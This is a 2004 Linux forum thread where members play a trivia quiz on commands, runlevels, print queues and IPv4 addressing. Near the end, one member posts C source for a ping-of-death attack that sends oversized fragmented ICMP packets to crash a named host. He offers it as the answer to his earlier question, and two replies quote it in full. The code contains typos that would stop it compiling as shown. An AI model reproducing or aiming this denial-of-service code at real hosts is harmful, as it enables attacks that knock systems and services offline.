The –9 signal is the most lethal, and will terminate the process immediately. All other signals are weaker than –9 :)

LSA
03-14-2004, 11:09 PM
killall - kill a process by name
http://www.rt.com/man/killall.1.html

I just got confused between the 2 :"> :stupid:

------------------

Question:

When fsck finds a unreferenced file where does it put it?

shn
03-14-2004, 11:17 PM
Originally posted by LSA@14 March 2004 - 17:09

killall - kill a process by name
http://www.rt.com/man/killall.1.html

I just got confused between the 2 :"> :stupid:

------------------

Question:

Where fsck finds a unreferenced file where does it put it?
The thing is.........when your on a "real" linux box, you can&#39;t be "confused." You can&#39;t just go around terminating processes.

You cant just go and kill processes because your not the only one on the box that has a process.

There could be an apache process, a mysql, etc. and what about the other user&#39;s processes?

The key is to terminate that "one" little pest of a process that you really do not give a danm about so therefore termination is bliss.



You have been terminated. :)

LSA
03-14-2004, 11:24 PM
Originally posted by shn@14 March 2004 - 17:17
The thing is.........when your on a "real" linux box, you can&#39;t be "confused."&nbsp; You can&#39;t just go around terminating&nbsp; processes.

You cant just go and kill processes because your not the only one on the box that has a process.&nbsp;

There could be an apache process, a mysql, etc. and what about the other user&#39;s processes?

The key is to terminate that "one" little pest of a process that you really do not give a danm about so therefore termination is bliss.



You have been terminated.&nbsp; :)
I know :lol: I just got confused between the 2 commands...:lol:

Please don&#39;t terminate me shn&#33; :(
:lol:

----------

Ya know the answer or are you a n00b? Just kidding :-" :)

LSA
03-21-2004, 12:46 AM
Is Linux Quiz over?

Anyone still want to play?

bulio
03-21-2004, 12:59 AM
I still wanna play

LSA
03-21-2004, 02:02 AM
:w00t: Ok, ask/answer a question.

h1
03-21-2004, 08:27 AM
:lol: Nobody&#39;s answered mine yet. :P

LSA
03-21-2004, 02:59 PM
Originally posted by haxor41789@21 March 2004 - 02:27
:lol: Nobody&#39;s answered mine yet. :P
What&#39;s the question? I went back 3 pages (40 posts a page) and couldn&#39;t find anything.

Is it that one about making a shell script for ping of death?

h1
03-22-2004, 04:46 AM
Yep. :D

bulio
03-23-2004, 01:57 AM
my questions:

1) in which programming language is most of GNU/Linux written?
Pascal
C/C++
Lisp
don&#39;t know

2)Which of these programming languages do not exist for GNU/Linux?

Fortran, Lisp, Pascal, Modula-2, ADA
Java, JavaScript
Visual Basic, Visual C, Visual Java
don&#39;t know

LSA
03-23-2004, 03:02 AM
Originally posted by bulio@22 March 2004 - 19:57
my questions:

1) in which programming language is most of GNU/Linux written?
Pascal
C/C++
Lisp
don&#39;t know

2)Which of these programming languages do not exist for GNU/Linux?

Fortran, Lisp, Pascal, Modula-2, ADA
Java, JavaScript
Visual Basic, Visual C, Visual Java
don&#39;t know
Your first one was already asked, its C/C++

The second one is vb I think.

@Haxor - That&#39;s a hard one&#33; /me searchs google :P

h1
03-23-2004, 05:06 AM
Cheater. :P

bulio
03-23-2004, 01:28 PM
Originally posted by LSA+23 March 2004 - 03:02--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td>QUOTE (LSA @ 23 March 2004 - 03:02)</td></tr><tr><td id='QUOTE'> <!--QuoteBegin-bulio@22 March 2004 - 19:57
my questions:

1) in which programming language is most of GNU/Linux written?
Pascal
C/C++
Lisp
don&#39;t know

2)Which of these programming languages do not exist for GNU/Linux?

Fortran, Lisp, Pascal, Modula-2, ADA
Java, JavaScript
Visual Basic, Visual C, Visual Java
don&#39;t know
Your first one was already asked, its C/C++

The second one is vb I think.

@Haxor - That&#39;s a hard one&#33; /me searchs google :P [/b][/quote]
your right, it&#39;s vb, &#39;cause vb is designed by micro&#036;oft <_<

bulio
03-23-2004, 11:14 PM
Which kernel was created in the GNU project?

BSD
HURD
Linux

LSA
03-24-2004, 01:07 AM
Linux

@Haxor - That question is way to hard, IMO. :P Can&#39;t even find anything on google. :huh:

-----------

Question:

Name at least 4 linux IT certifications.

bulio
03-24-2004, 01:09 AM
nope it&#39;s hurd ;) ;)

bulio
03-24-2004, 01:12 AM
1)SAIR/GNU Linux Certified Administrator

2)Linux Professional Institute Certification

3)Linux Professional Institute Certified Level 2

4)Linux System Administration

there ya go ;)

LSA
03-24-2004, 01:16 AM
Originally posted by bulio@23 March 2004 - 19:12
4)Linux System Administration
= LSA = ME B) :w00t:

Just kidding

Need another question now, bulio

shn
03-24-2004, 01:22 AM
@bulio.

I liked "Linux nut" better. :(

bulio
03-24-2004, 01:24 AM
this is just temporary dont worry :lol:

Question:

Which file stores the password in Linux?
/etc/passwd
/etc/shadow
/etc/password

2)

What is the command to unzip file.gz?
&#036;gunzip file.gz
&#036;unzip file.gz
&#036;bunzip2 file.gz

LSA
03-24-2004, 01:25 AM
Originally posted by shn@23 March 2004 - 19:22
@bulio.

I liked "Linux nut" better.&nbsp; :(
Me too, but shn....pipe it to /dev/null, ok? :lol:

Just kidding&#33; :ph34r:

------------
/etc/passwd if shadow is on it is in /etc/shadow
gunzip file.gz

EDIT: How do you change your default runlevel?

bulio
03-24-2004, 01:27 AM
both right&#33; i&#39;ll post a question for time being

Which one of the below file type is not played by XMMS application?
MP3
Mpeg1
real media

LSA
03-24-2004, 01:29 AM
Real media I think, not sure though

Edited, btw

bulio
03-24-2004, 01:35 AM
yours was correct, how bout my answer:


type: /etc/rc.d/rc<x>.d (x is runlevel number)

bulio
03-24-2004, 01:36 AM
which application can be used to open .ppt files in Linux?
Open office
Abi word
Acro read

LSA
03-24-2004, 01:40 AM
Originally posted by bulio@23 March 2004 - 19:35
yours was correct, how bout my answer:


type: /etc/rc.d/rc<x>.d (x is runlevel number)
No, you have to edit /etc/inittab and change this line

id:5:initdefault:

Change the 5 to whatever runlevel you want to make default

--------------

Open office - impress

--------------

Which bash config file would you edit if you wanted to change the way your prompt looked?

shn
03-24-2004, 01:46 AM
Originally posted by LSA+23 March 2004 - 19:40--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td>QUOTE (LSA &#064; 23 March 2004 - 19:40)</td></tr><tr><td id='QUOTE'><!--QuoteBegin-bulio@23 March 2004 - 19:35
yours was correct, how bout my answer:


type: /etc/rc.d/rc<x>.d (x is runlevel number)
No, you have to edit /etc/inittab and change this line

id:5:initdefault:

Change the 5 to whatever runlevel you want to make default

--------------

Open office - impress

--------------

Which bash config file would you edit if you wanted to change the way your prompt looked?[/b][/quote]
runlevel 5 is for kids. :lol:

pipe it to Windows and a Live cd.

n/k...........(not kidding)

.bashrc :)

LSA
03-24-2004, 01:54 AM
Originally posted by shn@23 March 2004 - 19:46
runlevel 5 is for kids. :lol:

pipe it to Windows and a Live cd.

n/k...........(not kidding)

.bashrc&nbsp; :)
I only use it because runlevel 3 messes up my fonts in X. :huh:

Hey I don&#39;t even have windows anymore so :P :lol:

Just fedora...I am still looking for slackware (56l) | windows and a live cd

&#91;loren@loren&#93;&#036; I only use it because runlevel 3 messes up my fonts in X. &#58;huh&#58;
bash&#58; I&#58; command not found
&#91;loren@loren&#93;&#036;
&#91;loren@loren&#93;&#036; Hey I don&#39;t even have windows anymore so &#58;P &#58;lol&#58;
&#62;
&#62; Just fedora...I am &#91;i&#93;still&#91;/i&#93; looking for slackware &#40;56k&#41; | windows and a live cd

Errm, what now? :unsure:

bulio
03-24-2004, 01:58 AM
Which of the following devices would be the first SCSI hard disk on a Linux system?

a. /dev/sd0

b. /dev/sd1

c. /dev/sda

d. /dev/sdb

A process with a PID number of 1777 has entered runaway mode. You have tried to remove it with a standard kill command, but it will not go away. What command can you use to be assured the process will terminate?

a. kill –NOW 1777

b. kill –HUP 1777

c. kill –15 1777

d. kill –9 1777

LSA
03-24-2004, 02:02 AM
Originally posted by bulio@23 March 2004 - 19:58
Which of the following devices would be the first SCSI hard disk on a Linux system?

a. /dev/sd0

b. /dev/sd1

c. /dev/sda

d. /dev/sdb

A process with a PID number of 1777 has entered runaway mode. You have tried to remove it with a standard kill command, but it will not go away. What command can you use to be assured the process will terminate?

a. kill –NOW 1777

b. kill –HUP 1777

c. kill –15 1777

d. kill –9 1777
/dev/sda I think

Second one is...hmmm let me think&#33;

:lol:

kill -9 1777

Right, shn? :lol:

That has been asked before too.

------------

Thinking of question, hold your horses :01:

bulio
03-24-2004, 02:03 AM
right on both&#33; now post me a question&#33; :lol:

shn
03-24-2004, 02:06 AM
@LSa -- Which command can be used to rearrange the order of jobs in a spooling queue awaiting printing?


a. lpc


b. lpstat


c. lpq


d. lpr

@bulio ;)

LSA
03-24-2004, 02:06 AM
How do you change your default shell?

LSA
03-24-2004, 02:09 AM
Originally posted by shn@23 March 2004 - 20:06
@LSa -- Which command can be used to rearrange the order of jobs in a spooling queue awaiting printing?

a. lpc

b. lpstat

c. lpq

d. lpr

:ph34r: lpstat :unsure:

shn
03-24-2004, 02:12 AM
Originally posted by LSA+23 March 2004 - 20:09--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td>QUOTE (LSA &#064; 23 March 2004 - 20:09)</td></tr><tr><td id='QUOTE'><!--QuoteBegin-shn@23 March 2004 - 20:06
@LSa&nbsp; -- Which command can be used to rearrange the order of jobs in a spooling queue awaiting printing?

a.&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; lpc

b.&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; lpstat

c.&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; lpq

d.&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; lpr

:ph34r: lpstat :unsure:[/b][/quote]
Wrong.

Maybe bulio knows the answer.................

ck-uk
03-24-2004, 02:16 AM
no hidin in linux land

i&#39;ll talk to you tomorrow :)

LSA
03-24-2004, 02:16 AM
Originally posted by shn@23 March 2004 - 20:12
Wrong.

Maybe bulio knows the answer.................
:"> not again&#33;

I know what it is now though, good ol&#39; whatis&#33;

shn
03-24-2004, 02:18 AM
Originally posted by ck&#045;uk@23 March 2004 - 20:16
no hidin in linux land

i&#39;ll talk to you tomorrow :)
Yeah, I can&#39;t hide my true passion. :rolleyes:

We&#39;ll talk tommorow. I promise. :)

h1
03-24-2004, 05:50 AM
a

bulio
03-24-2004, 01:42 PM
Originally posted by shn+24 March 2004 - 02:12--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td>QUOTE (shn @ 24 March 2004 - 02:12)</td></tr><tr><td id='QUOTE'>
Originally posted by LSA@23 March 2004 - 20:09
<!--QuoteBegin-shn@23 March 2004 - 20:06
@LSa&nbsp; -- Which command can be used to rearrange the order of jobs in a spooling queue awaiting printing?

a.&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; lpc

b.&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; lpstat

c.&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; lpq

d.&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; lpr

:ph34r: lpstat :unsure:
Wrong.

Maybe bulio knows the answer................. [/b][/quote]
lpr :lol:

ck-uk
03-24-2004, 02:34 PM
Originally posted by shn+24 March 2004 - 01:18--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td>QUOTE (shn @ 24 March 2004 - 01:18)</td></tr><tr><td id='QUOTE'> <!--QuoteBegin-ck&#045;uk@23 March 2004 - 20:16
no hidin in linux land

i&#39;ll talk to you tomorrow :)
Yeah, I can&#39;t hide my true passion. :rolleyes:

We&#39;ll talk tommorow. I promise. :) [/b][/quote]
no worries shn you take your time.

Gone anyway.I havn&#39;t run the dog in 2 days,the weathers pissy. :)

LSA
03-24-2004, 10:24 PM
Ok new question

:w00t:

How do you change your default shell?

ck-uk
03-24-2004, 10:42 PM
Shn r u hidin again :(

shn
03-24-2004, 10:43 PM
Originally posted by LSA@24 March 2004 - 16:24
Ok new question

:w00t:

How do you change your default shell?
Even though you edited that, I&#39;m still going to post this because Linux Quiz is for learning after all right?

Your proposed answer formally debated before your edit.


DESCRIPTION

&nbsp; &nbsp; &nbsp; lpq&nbsp; shows&nbsp; the&nbsp; current print queue status on the named printer.&nbsp; Jobs
&nbsp; &nbsp; &nbsp; queued on the default destination will be shown if no printer or&nbsp; class
&nbsp; &nbsp; &nbsp; is specified on the command-line.

&nbsp; &nbsp; &nbsp; The&nbsp; interval&nbsp; option allows you to continuously report the jobs in the
&nbsp; &nbsp; &nbsp; queue until the queue is empty; the list of&nbsp; jobs&nbsp; is&nbsp; show&nbsp; one&nbsp; every
&nbsp; &nbsp; &nbsp; interval seconds.......................

The correct answer is lpc


NAME
&nbsp; &nbsp; lpc - line printer control program

SYNOPSIS
&nbsp; &nbsp; lpc [command [argument ...]]

DESCRIPTION
&nbsp; &nbsp; lpc is used by the system administrator to control the operation of the
&nbsp; &nbsp; line printer system.&nbsp; For each line printer configured in /etc/printcap,
&nbsp; &nbsp; lpc may be used to:

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; o&nbsp; disable or enable a printer,

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; o&nbsp; disable or enable a printer&#39;s spooling queue,

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; o&nbsp; rearrange the order of jobs in a spooling queue,

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; o&nbsp; find the status of printers, and their associated spooling
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; queues and printer daemons...................

Source (http://rootr.net/man/man/lpc/8) :)

ck-uk
03-24-2004, 10:48 PM
:D :)

LSA
03-24-2004, 10:54 PM
Originally posted by shn+24 March 2004 - 16:43--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td>QUOTE (shn @ 24 March 2004 - 16:43)</td></tr><tr><td id='QUOTE'> <!--QuoteBegin-LSA@24 March 2004 - 16:24
Ok new question

:w00t:

How do you change your default shell?
Even though you edited that, I&#39;m still going to post this because Linux Quiz is for learning after all right?

Your proposed answer formally debated before your edit.


DESCRIPTION

&nbsp; &nbsp; &nbsp; lpq&nbsp; shows&nbsp; the&nbsp; current print queue status on the named printer.&nbsp; Jobs
&nbsp; &nbsp; &nbsp; queued on the default destination will be shown if no printer or&nbsp; class
&nbsp; &nbsp; &nbsp; is specified on the command-line.

&nbsp; &nbsp; &nbsp; The&nbsp; interval&nbsp; option allows you to continuously report the jobs in the
&nbsp; &nbsp; &nbsp; queue until the queue is empty; the list of&nbsp; jobs&nbsp; is&nbsp; show&nbsp; one&nbsp; every
&nbsp; &nbsp; &nbsp; interval seconds.......................

The correct answer is lpc


NAME
&nbsp; &nbsp; lpc - line printer control program

SYNOPSIS
&nbsp; &nbsp; lpc [command [argument ...]]

DESCRIPTION
&nbsp; &nbsp; lpc is used by the system administrator to control the operation of the
&nbsp; &nbsp; line printer system.&nbsp; For each line printer configured in /etc/printcap,
&nbsp; &nbsp; lpc may be used to:

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; o&nbsp; disable or enable a printer,

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; o&nbsp; disable or enable a printer&#39;s spooling queue,

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; o&nbsp; rearrange the order of jobs in a spooling queue,

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; o&nbsp; find the status of printers, and their associated spooling
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; queues and printer daemons...................

Source (http://rootr.net/man/man/lpc/8) :) [/b][/quote]
Thanks, I was wondering about that.

I looked at the man pages after I posted because I wasn&#39;t sure, but both pages said stuff about queue so I just took it out. :">

LSA
03-25-2004, 12:32 AM
New question, what config file lists the modules to be loaded at startup?

h1
03-25-2004, 01:41 AM
:lol: A valid answer to the question posed by me on page three would be:
#include &#60;stdio.h&#62;
#include &#60;sys/types.h&#62;
#include &#60;sys/socket.h&#62;
#include &#60;netdb.h&#62;
#include &#60;netinet/in.h&#62;
#include &#60;netinet/in_systm.h&#62;
#include &#60;netinet/ip.h&#62;
#include &#60;netinet/ip_icmp.h&#62;
#ifdef REALLY_RAW
#define FIX&#40;x&#41; htons&#40;x&#41;
#else
#define FIX&#40;x&#41; &#40;x&#41;
#endif
int main&#40;int argc, char **argv&#41;
{
&nbsp; int s;
&nbsp; char buf&#91;1500&#93;;
&nbsp; struct ip *ip = &#40;struct ip *&#41;buf;
&nbsp; struct icmp *icmp = &#40;struct icmp *&#41;&#40;ip + 1&#41;;
&nbsp; struct hostent *hp;
&nbsp; struct sockaddr_in dst;
&nbsp; int offset;
&nbsp; int on = 1;
&nbsp; bzero&#40;buf, sizseof buf&#41;;
&nbsp; if &#40;&#40;s = socket&#40;AF_INET, SOCK_RAW, IPPROTO_IP&#41;&#41; &#60; 0&#41;
&nbsp; {
&nbsp; &nbsp; &nbsp;perror&#40;&#34;socket&#34;&#41;;
&nbsp; &nbsp; &nbsp;exit&#40;1&#41;;
&nbsp; }
&nbsp; if &#40;setsockopts&#40;s, IPPROTO_IP, IP_HDRINCL, &on, sizeof&#40;on&#41;&#41; &#60; 0
&nbsp; {
&nbsp; &nbsp; &nbsp;perror&#40;&#34;IP_HDRINCL&#34;&#41;;
&nbsp; &nbsp; &nbsp;exit&#40;1&#41;;
&nbsp; }
&nbsp; if &#40;argc &#33;= 2&#41;
&nbsp; {
&nbsp; &nbsp; &nbsp;fprintf&#40;stderr, &#34;usage&#58; %s hostname&#092;n&#58;, argv&#91;0&#93;&#41;;
&nbsp; &nbsp; &nbsp;exit&#40;1&#41;;
&nbsp; }
&nbsp; if &#40;&#40;hp = getbyhostname&#40;argv&#91;1&#93;&#41;&#41; == NULL&#41;
&nbsp; {
&nbsp; &nbsp; &nbsp;if &#40;&#40;ip-&#62;ip_dst.s_addr = inet_addr&#40;argv&#91;1&#93;&#41;&#41; == -1&#41;
&nbsp; &nbsp; &nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; fprintf9stderr, &#34;%s&#58; unknown host&#092;n&#34;, argv&#91;1&#93;&#41;;
&nbsp; &nbsp; &nbsp;}
&nbsp; }
&nbsp; else
&nbsp; {
&nbsp; &nbsp; &nbsp;bcopy&#40;hp-&#62;h_addr_list&#91;0&#93;, &ip-&#62;ip_dst.s_addr, hp-&#62;h_length;
&nbsp; }
&nbsp; printf&#40;&#34;Sending to %s&#092;n&#34;, inet_ntoa&#40;ip-&#62;ip_dst&#41;&#41;;
&nbsp; ip-&#62;ip_v = 4;
&nbsp; ip-&#62;ip_hl = sizeof *ip &#62;&#62; 2;
&nbsp; ip-&#62;ip_tos = 0;
&nbsp; ip-&#62;ip_len = FIX&#40;sizeof buf&#41;;
&nbsp; ip-&#62;ip_id = htons&#40;4321&#41;;
&nbsp; ip-&#62;ip_off = FIX&#40;0&#41;;
&nbsp; ip-&#62;ip_ttl = 255;
&nbsp; ip-&#62;ip_p = 1;
&nbsp; ip-&#62;ip_sum = 0;
&nbsp; ip-&#62;ip_src.s_addr = 0;
&nbsp; dst.sin_addr = ip-&#62;ip_dst;
&nbsp; dst.sin_family = AF_INET;
&nbsp; icmp-&#62;icmp_type = ICMP_ECHO;
&nbsp; icmp-&#62;icmp_code = 0;
&nbsp; icmp-&#62;icmp_cksum = htons&#40;~&#40;ICMP_ECHO &#60;&#60; 8&#41;&#41;;
&nbsp; for &#40;offset = 0; offset &#60;65536; offset += &#40;sizeof buf - sizeof *ip&#41;&#41;
&nbsp; {
&nbsp; &nbsp; &nbsp;ip-&#62;ip_off = FIX&#40;offset &#62;&#62; 3&#41;;
&nbsp; &nbsp; &nbsp;if &#40;offset &#60; 65120&#41;
&nbsp; &nbsp; &nbsp;ip-&#62;ip_off l= FIX&#40;IP_MF&#41;;
&nbsp; &nbsp; &nbsp;else ip-&#62;ip_len = FIX&#40;418&#41;;
&nbsp; &nbsp; &nbsp;if &#40;sendto&#40;s, buf, sizeof buf, 0, &#40;struct sockaddr *&#41;&dst, sizeof dst&#41; &#60; 0&#41;
&nbsp; &nbsp; &nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; fprintf&#40;stderr, &#34;offset %d&#58; &#34;, offset&#41;;
&nbsp; &nbsp; &nbsp; &nbsp; perror&#40;&#34;sendto&#34;&#41;;
&nbsp; &nbsp; &nbsp;}
&nbsp; &nbsp; &nbsp;if &#40;offset == 0&#41;
&nbsp; &nbsp; &nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; icmp-&#62;icmp_type = 0;
&nbsp; &nbsp; &nbsp; &nbsp; icmp-&#62;icmp_code = 0;
&nbsp; &nbsp; &nbsp; &nbsp; icmp-&#62;icmp_cksum = 0;
&nbsp; &nbsp; &nbsp;}
&nbsp; }
}
:)

LSA
03-25-2004, 01:47 AM
Originally posted by haxor41789@24 March 2004 - 19:41
:lol: A valid answer to the question posed by me on page three would be:
#include &#60;stdio.h&#62;
#include &#60;sys/types.h&#62;
#include &#60;sys/socket.h&#62;
#include &#60;netdb.h&#62;
#include &#60;netinet/in.h&#62;
#include &#60;netinet/in_systm.h&#62;
#include &#60;netinet/ip.h&#62;
#include &#60;netinet/ip_icmp.h&#62;
#ifdef REALLY_RAW
#define FIX&#40;x&#41; htons&#40;x&#41;
#else
#define FIX&#40;x&#41; &#40;x&#41;
#endif
int main&#40;int argc, char **argv&#41;
{
&nbsp; int s;
&nbsp; char buf&#91;1500&#93;;
&nbsp; struct ip *ip = &#40;struct ip *&#41;buf;
&nbsp; struct icmp *icmp = &#40;struct icmp *&#41;&#40;ip + 1&#41;;
&nbsp; struct hostent *hp;
&nbsp; struct sockaddr_in dst;
&nbsp; int offset;
&nbsp; int on = 1;
&nbsp; bzero&#40;buf, sizseof buf&#41;;
&nbsp; if &#40;&#40;s = socket&#40;AF_INET, SOCK_RAW, IPPROTO_IP&#41;&#41; &#60; 0&#41;
&nbsp; {
&nbsp; &nbsp; &nbsp;perror&#40;&#34;socket&#34;&#41;;
&nbsp; &nbsp; &nbsp;exit&#40;1&#41;;
&nbsp; }
&nbsp; if &#40;setsockopts&#40;s, IPPROTO_IP, IP_HDRINCL, &on, sizeof&#40;on&#41;&#41; &#60; 0
&nbsp; {
&nbsp; &nbsp; &nbsp;perror&#40;&#34;IP_HDRINCL&#34;&#41;;
&nbsp; &nbsp; &nbsp;exit&#40;1&#41;;
&nbsp; }
&nbsp; if &#40;argc &#33;= 2&#41;
&nbsp; {
&nbsp; &nbsp; &nbsp;fprintf&#40;stderr, &#34;usage&#58; %s hostname&#092;n&#58;, argv&#91;0&#93;&#41;;
&nbsp; &nbsp; &nbsp;exit&#40;1&#41;;
&nbsp; }
&nbsp; if &#40;&#40;hp = getbyhostname&#40;argv&#91;1&#93;&#41;&#41; == NULL&#41;
&nbsp; {
&nbsp; &nbsp; &nbsp;if &#40;&#40;ip-&#62;ip_dst.s_addr = inet_addr&#40;argv&#91;1&#93;&#41;&#41; == -1&#41;
&nbsp; &nbsp; &nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; fprintf9stderr, &#34;%s&#58; unknown host&#092;n&#34;, argv&#91;1&#93;&#41;;
&nbsp; &nbsp; &nbsp;}
&nbsp; }
&nbsp; else
&nbsp; {
&nbsp; &nbsp; &nbsp;bcopy&#40;hp-&#62;h_addr_list&#91;0&#93;, &ip-&#62;ip_dst.s_addr, hp-&#62;h_length;
&nbsp; }
&nbsp; printf&#40;&#34;Sending to %s&#092;n&#34;, inet_ntoa&#40;ip-&#62;ip_dst&#41;&#41;;
&nbsp; ip-&#62;ip_v = 4;
&nbsp; ip-&#62;ip_hl = sizeof *ip &#62;&#62; 2;
&nbsp; ip-&#62;ip_tos = 0;
&nbsp; ip-&#62;ip_len = FIX&#40;sizeof buf&#41;;
&nbsp; ip-&#62;ip_id = htons&#40;4321&#41;;
&nbsp; ip-&#62;ip_off = FIX&#40;0&#41;;
&nbsp; ip-&#62;ip_ttl = 255;
&nbsp; ip-&#62;ip_p = 1;
&nbsp; ip-&#62;ip_sum = 0;
&nbsp; ip-&#62;ip_src.s_addr = 0;
&nbsp; dst.sin_addr = ip-&#62;ip_dst;
&nbsp; dst.sin_family = AF_INET;
&nbsp; icmp-&#62;icmp_type = ICMP_ECHO;
&nbsp; icmp-&#62;icmp_code = 0;
&nbsp; icmp-&#62;icmp_cksum = htons&#40;~&#40;ICMP_ECHO &#60;&#60; 8&#41;&#41;;
&nbsp; for &#40;offset = 0; offset &#60;65536; offset += &#40;sizeof buf - sizeof *ip&#41;&#41;
&nbsp; {
&nbsp; &nbsp; &nbsp;ip-&#62;ip_off = FIX&#40;offset &#62;&#62; 3&#41;;
&nbsp; &nbsp; &nbsp;if &#40;offset &#60; 65120&#41;
&nbsp; &nbsp; &nbsp;ip-&#62;ip_off l= FIX&#40;IP_MF&#41;;
&nbsp; &nbsp; &nbsp;else ip-&#62;ip_len = FIX&#40;418&#41;;
&nbsp; &nbsp; &nbsp;if &#40;sendto&#40;s, buf, sizeof buf, 0, &#40;struct sockaddr *&#41;&dst, sizeof dst&#41; &#60; 0&#41;
&nbsp; &nbsp; &nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; fprintf&#40;stderr, &#34;offset %d&#58; &#34;, offset&#41;;
&nbsp; &nbsp; &nbsp; &nbsp; perror&#40;&#34;sendto&#34;&#41;;
&nbsp; &nbsp; &nbsp;}
&nbsp; &nbsp; &nbsp;if &#40;offset == 0&#41;
&nbsp; &nbsp; &nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; icmp-&#62;icmp_type = 0;
&nbsp; &nbsp; &nbsp; &nbsp; icmp-&#62;icmp_code = 0;
&nbsp; &nbsp; &nbsp; &nbsp; icmp-&#62;icmp_cksum = 0;
&nbsp; &nbsp; &nbsp;}
&nbsp; }
}
:)
:lol: I was just thinking that&#33;

j/k

shn
03-25-2004, 02:01 AM
Originally posted by haxor41789@24 March 2004 - 19:41
:lol: A valid answer to the question posed by me on page three would be:
#include &#60;stdio.h&#62;
#include &#60;sys/types.h&#62;
#include &#60;sys/socket.h&#62;
#include &#60;netdb.h&#62;
#include &#60;netinet/in.h&#62;
#include &#60;netinet/in_systm.h&#62;
#include &#60;netinet/ip.h&#62;
#include &#60;netinet/ip_icmp.h&#62;
#ifdef REALLY_RAW
#define FIX&#40;x&#41; htons&#40;x&#41;
#else
#define FIX&#40;x&#41; &#40;x&#41;
#endif
int main&#40;int argc, char **argv&#41;
{
int s;
char buf&#91;1500&#93;;
struct ip *ip = &#40;struct ip *&#41;buf;
struct icmp *icmp = &#40;struct icmp *&#41;&#40;ip + 1&#41;;
struct hostent *hp;
struct sockaddr_in dst;
int offset;
int on = 1;
bzero&#40;buf, sizseof buf&#41;;
if &#40;&#40;s = socket&#40;AF_INET, SOCK_RAW, IPPROTO_IP&#41;&#41; &#60; 0&#41;
{
perror&#40;&#34;socket&#34;&#41;;
exit&#40;1&#41;;
}
if &#40;setsockopts&#40;s, IPPROTO_IP, IP_HDRINCL, &on, sizeof&#40;on&#41;&#41; &#60; 0
{
perror&#40;&#34;IP_HDRINCL&#34;&#41;;
exit&#40;1&#41;;
}
if &#40;argc &#33;= 2&#41;
{
fprintf&#40;stderr, &#34;usage&#58; %s hostname&#092;n&#58;, argv&#91;0&#93;&#41;;
exit&#40;1&#41;;
}
if &#40;&#40;hp = getbyhostname&#40;argv&#91;1&#93;&#41;&#41; == NULL&#41;
{
if &#40;&#40;ip-&#62;ip_dst.s_addr = inet_addr&#40;argv&#91;1&#93;&#41;&#41; == -1&#41;
{
fprintf9stderr, &#34;%s&#58; unknown host&#092;n&#34;, argv&#91;1&#93;&#41;;
}
}
else
{
bcopy&#40;hp-&#62;h_addr_list&#91;0&#93;, &ip-&#62;ip_dst.s_addr, hp-&#62;h_length;
}
printf&#40;&#34;Sending to %s&#092;n&#34;, inet_ntoa&#40;ip-&#62;ip_dst&#41;&#41;;
ip-&#62;ip_v = 4;
ip-&#62;ip_hl = sizeof *ip &#62;&#62; 2;
ip-&#62;ip_tos = 0;
ip-&#62;ip_len = FIX&#40;sizeof buf&#41;;
ip-&#62;ip_id = htons&#40;4321&#41;;
ip-&#62;ip_off = FIX&#40;0&#41;;
ip-&#62;ip_ttl = 255;
ip-&#62;ip_p = 1;
ip-&#62;ip_sum = 0;
ip-&#62;ip_src.s_addr = 0;
dst.sin_addr = ip-&#62;ip_dst;
dst.sin_family = AF_INET;
icmp-&#62;icmp_type = ICMP_ECHO;
icmp-&#62;icmp_code = 0;
icmp-&#62;icmp_cksum = htons&#40;~&#40;ICMP_ECHO &#60;&#60; 8&#41;&#41;;
for &#40;offset = 0; offset &#60;65536; offset += &#40;sizeof buf - sizeof *ip&#41;&#41;
{
ip-&#62;ip_off = FIX&#40;offset &#62;&#62; 3&#41;;
if &#40;offset &#60; 65120&#41;
ip-&#62;ip_off l= FIX&#40;IP_MF&#41;;
else ip-&#62;ip_len = FIX&#40;418&#41;;
if &#40;sendto&#40;s, buf, sizeof buf, 0, &#40;struct sockaddr *&#41;&dst, sizeof dst&#41; &#60; 0&#41;
{
fprintf&#40;stderr, &#34;offset %d&#58; &#34;, offset&#41;;
perror&#40;&#34;sendto&#34;&#41;;
}
if &#40;offset == 0&#41;
{
icmp-&#62;icmp_type = 0;
icmp-&#62;icmp_code = 0;
icmp-&#62;icmp_cksum = 0;
}
}
}
:)
I&#39;m ripping your code for confirmation. :lol: :)

h1
03-25-2004, 02:05 AM
:lol: You&#39;ll need REALLY_RAW to compile it. :P

bulio
03-25-2004, 02:55 AM
someone post me a question :ph34r:

4play
03-25-2004, 02:57 AM
@bulio what is the largest ip adress possible with ipv4 :D

h1
03-25-2004, 05:00 AM
:huh: 300.300.300.300. I thought everyone knew that. <_<

leftism
03-25-2004, 05:33 PM
Originally posted by haxor41789
300.300.300.300. I thought everyone knew that

Actually it&#39;s 255.255.255.255 (you cant actually use it though)

32 bits for full address, divided by 4 sections = 8 bits per section.

11111111 (binary) = 255 (decimal)

LSA
